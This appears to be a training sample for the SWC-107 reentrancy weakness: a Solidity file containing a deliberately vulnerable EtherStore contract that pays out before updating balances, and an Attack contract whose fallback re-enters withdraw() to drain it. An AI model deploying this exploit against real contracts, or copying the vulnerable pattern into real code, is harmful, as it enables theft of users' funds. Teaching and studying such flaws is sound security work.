SWC-107 : Reentrancy / CWE-841: Improper Enforcement of Behavioral Workflow from KBTG Inspire2

reentrancy.sol

pragma solidity ^0.8.0;

contract EtherStore {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint256 balance = balances[msg.sender];
        require(balance > 0, "Not enough Ether");

        // External Call
        (bool sent, ) = payable(msg.sender).call{value: balance}("");
        require(sent, "Failed to send Ether");

        // Update balance, write state
        balances[msg.sender] = 0;
    }

    function getBalance() public view returns(uint256) {
        return address(this).balance;
    }
}

contract Attack {
    EtherStore public etherStore;

    constructor(address _etherStoreAddress) public {
        etherStore = EtherStore(_etherStoreAddress);
    }

    fallback() external payable {
        // Withdraw at least 1 Ether
        if (address(etherStore).balance >= 1 ether) {
            etherStore.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether, "require at least 1 Eth");
        etherStore.deposit{value: 1 ether}();
        etherStore.withdraw();
    }

    function getBalance() public view returns(uint256) {
        return address(this).balance;
    }

    function kill() external payable {
        selfdestruct(payable(msg.sender));
    }
}